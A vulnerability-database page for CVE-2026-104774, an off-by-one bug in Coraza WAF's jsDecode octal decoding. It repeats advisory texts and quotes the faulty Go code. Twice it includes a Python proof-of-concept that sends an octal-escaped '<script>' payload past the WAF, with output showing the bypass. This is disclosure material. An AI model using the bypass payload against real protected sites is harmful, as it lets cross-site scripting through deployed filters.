Every CVE Search/ Get API key

CVE-2026-104774

OWASP Coraza WAF: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

5.8 MediumFix available

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
Low
Availability
None

Exploit likelihood

0.32%Down 0.1 points since Oct 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.8

OWASP Coraza WAF: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

Record
CVE-2026-104774
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Weakness
CWE-172, CWE-193, CWE-693
Updated
2026-11-02
EUVDEUVD-2026-97825 5.8

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

Record
EUVD-2026-97825
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-pc5q-qfxp-ggqv 5.8

Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

Summary

The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.

Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.

Details

Vulnerable code: internal/transformations/js_decode.go:64-70.

case (i+1 < inputLen) && isodigit(input[i+1]):
    /* \OOO (only one byte, \000 - \377) */
    buf := make([]byte, 3)
    j := 0

    for (i+1+j < inputLen) && (j < 3) {
        buf[j] = input[i+j]     // this should be `input[i+1+j]`
        j++
        if !isodigit(input[i+j]) {
            break
        }
    }

This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.

For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].

This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255

// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8)  // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8)   // nn = 255 = 0xFF

PoC

Test Environment

Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.

PoC Executable Script

#!/usr/bin/env python3
import urllib.request, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"

normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"

print(f"[Normal XSS: {normal_url}")
try:
    urllib.request.urlopen(normal_url)
    print("  Response: 200 ")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
    urllib.request.urlopen(octal_url)
    print("  Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

output:

  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
  Response: 403
 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
  Response: 200 (BYPASS)

Proof

  • Normal…
Record
GHSA-pc5q-qfxp-ggqv
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Weakness
CWE-172, CWE-193, CWE-693
Updated
2026-11-02
NVD 5.8

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

Record
CVE-2026-104774
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Weakness
CWE-172, CWE-193, CWE-693
Updated
2026-11-02
OSV 5.8

OWASP Coraza WAF: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

Record
CVE-2026-104774
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Weakness
CWE-172, CWE-193, CWE-693
Updated
2026-11-02
OSVGHSA-pc5q-qfxp-ggqv 5.8

Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

Summary

The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.

Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.

Details

Vulnerable code: internal/transformations/js_decode.go:64-70.

case (i+1 < inputLen) && isodigit(input[i+1]):
    /* \OOO (only one byte, \000 - \377) */
    buf := make([]byte, 3)
    j := 0

    for (i+1+j < inputLen) && (j < 3) {
        buf[j] = input[i+j]     // this should be `input[i+1+j]`
        j++
        if !isodigit(input[i+j]) {
            break
        }
    }

This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.

For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].

This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255

// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8)  // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8)   // nn = 255 = 0xFF

PoC

Test Environment

Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.

PoC Executable Script

#!/usr/bin/env python3
import urllib.request, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"

normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"

print(f"[Normal XSS: {normal_url}")
try:
    urllib.request.urlopen(normal_url)
    print("  Response: 200 ")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
    urllib.request.urlopen(octal_url)
    print("  Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

output:

  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
  Response: 403
 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
  Response: 200 (BYPASS)

Proof

  • Normal…
Record
GHSA-pc5q-qfxp-ggqv
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Weakness
CWE-172, CWE-193, CWE-693
Updated
2026-11-02
OSVGO-2026-6696 No score

Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass in github.com/corazawaf/coraza

Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass in github.com/corazawaf/coraza

Record
GO-2026-6696
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/corazawaf/coraza/v3
Go
3.0.0 up to 3.8.0
3.8.0
github.com/corazawaf/coraza
Go
All versions None known
github.com/corazawaf/coraza/v2
Go
All versions None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-104774 is a medium vulnerability (CVSS 5.8) in Corazawaf Coraza, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in github.com/corazawaf/coraza/v3 3.8.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open